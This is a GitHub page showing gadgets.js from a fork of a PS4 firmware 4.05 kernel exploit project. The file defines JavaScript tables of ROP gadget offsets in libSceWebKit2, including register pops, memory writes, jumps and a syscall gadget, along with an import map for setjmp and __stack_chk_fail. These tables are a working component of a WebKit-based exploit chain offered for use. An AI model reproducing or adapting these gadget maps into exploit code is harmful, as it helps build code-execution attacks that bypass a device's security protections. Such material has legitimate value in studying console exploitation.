forked from Cryptogenic/PS4-4.05-Kernel-Exploit
-
Notifications
You must be signed in to change notification settings - Fork 6
/
gadgets.js
55 lines (46 loc) · 1.94 KB
/
gadgets.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/* For storing the gadget and import map */
window.gadgetMap = [];
window.basicImportMap = [];
/* All function stubs / imports from other modules */
var generateBasicImportMap = function()
{
window.basicImportMap =
{
'4.05':
{
'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel
'__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x2729260), // __stack_chk_fail imported from libkernel
'__stack_chk_fail_offset': 0xD0D0, // offset of __stack_chk_fail from start of libkernel
}
};
}
/* All gadgets from the binary of available modules */
var generateGadgetMap = function()
{
window.gadgetMap =
{
'4.05':
{
'pop rsi': getGadget('libSceWebKit2', 0xA459E),
'pop rdi': getGadget('libSceWebKit2', 0x10F1C1),
'pop rax': getGadget('libSceWebKit2', 0x1D70B),
'pop rcx': getGadget('libSceWebKit2', 0x1FCA9B),
'pop rdx': getGadget('libSceWebKit2', 0xD6660),
'pop r8': getGadget('libSceWebKit2', 0x4A3B0D),
'pop r9': getGadget('libSceWebKit2', 0xEB5F8F),
'pop rsp': getGadget('libSceWebKit2', 0x20AEB0),
'push rax': getGadget('libSceWebKit2', 0x126EFC),
'add rax, rcx': getGadget('libSceWebKit2', 0x86F06),
'mov rax, rdi': getGadget('libSceWebKit2', 0x5863),
'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7),
'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70),
'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0xFD88D),
'jmp addr': getGadget('libSceWebKit2', 0x852624),
'infloop': getGadget('libSceWebKit2', 0x45A11),
'jmp rax': getGadget('libSceWebKit2', 0x1CA2B9),
'push rax; jmp rcx': getGadget('libSceWebKit2', 0x469B80),
'ret': getGadget('libSceWebKit2', 0xC8),
'syscall': getGadget('libSceWebKit2', 0x1C69388),
}
};
}